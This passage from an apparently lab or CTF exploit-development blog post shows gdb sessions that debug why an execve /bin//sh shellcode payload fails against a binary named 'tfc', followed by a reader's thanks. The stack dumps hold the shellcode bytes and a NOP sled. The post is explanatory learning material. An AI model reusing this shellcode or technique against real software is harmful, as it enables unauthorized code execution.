      Starting program: /root/tfc encodedBAD.tfc outfile.tfc
      warning: no loadable sections found in added symbol-file system-supplied DSO at 0xb77a5000
      
      Breakpoint 1, 0x08048e93 in ?? ()
      (gdb) x/8x $esp
      0xbfe0bd80:     0x6850c031     0x68732f2f     0x69622f68     0x50e3896e
      0xbfe0bd90:     0xb0e18953     0x9080cd0b     0x90909090     0x90909090
      (gdb) c
      Continuing.
      
      Program received signal SIGSEGV, Segmentation fault.
      0xbfe0be17 in ?? ()
      (gdb) x/12x $esp
      0xbfe0bd6c:     0xbfe0bd74     0x00000000     0x6e69622f     0x68732f2f
      0xbfe0bd7c:     0x00000000     0x6850c031     0x68732f2f     0x69622f68
      0xbfe0bd8c:     0x50e3896e     0xb0e18953     0x9080cd0b     0x90909090
      

      It looks like Hazma’s shellcode might be attempting to use a register that we do not have the ability to overwrite, so let’s check that out…

      root@kali:~# gdb tfc
      (gdb) b *0x08048e93
      Breakpoint 1 at 0x8048e93
      (gdb) r encodedBAD.tfc outfile.tfc
      Starting program: /root/tfc encodedBAD.tfc outfile.tfc
      warning: no loadable sections found in added symbol-file system-supplied DSO at 0xb76f8000
      
      Breakpoint 1, 0x08048e93 in ?? ()
      (gdb) x/8x $esp
      0xbf8763c0:     0x6850c031     0x68732f2f     0x69622f68     0x50e3896e
      0xbf8763d0:     0xb0e18953     0x9080cd0b     0x90909090     0x90909090
      (gdb) c
      Continuing.
      
      Program received signal SIGSEGV, Segmentation fault.
      0xbf876457 in ?? ()
      (gdb) x/12x $esp
      0xbf8763ac:     0xbf8763b4     0x00000000     0x6e69622f     0x68732f2f
      0xbf8763bc:     0x00000000     0x6850c031     0x68732f2f     0x69622f68
      0xbf8763cc:     0x50e3896e     0xb0e18953     0x9080cd0b     0x90909090
      (gdb) x/8x $eax
      0xfffffff2:     Cannot access memory at address 0xfffffff2
      (gdb) x/12x $ebx
      0xbf8763b4:     0x6e69622f     0x68732f2f     0x00000000     0x6850c031
      0xbf8763c4:     0x68732f2f     0x69622f68     0x50e3896e     0xb0e18953
      0xbf8763d4:     0x9080cd0b     0x90909090     0x90909090     0x90909090
      (gdb) x/12x $ecx
      0xbf8763ac:     0xbf8763b4     0x00000000     0x6e69622f     0x68732f2f
      0xbf8763bc:     0x00000000     0x6850c031     0x68732f2f     0x69622f68
      

      Ah ha, ECX contains those 20 bytes of garbage we were seeing, and the “mov %esp,%ecx” line in Hamza’s shellcode explains why his doesn’t work and the other one does.

      All in all, an interesting learning experience, and I’m glad I tried to figure out why it wasn’t working! (That said, this also reminded me that my assembly DEFINITELY needs work)

      • Franky

        Aha, makes perfect sense. I’m glad you got further than i did (which also goes to show my asm and gdb debugging needs work).
        I suspected there was something going on to that effect, but couldn’t get to it. I should of examined $esp a little further, with a breakpoint as you did, certainly made more sense when seeing that.

        Thanks – you definitely just taught me something!

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.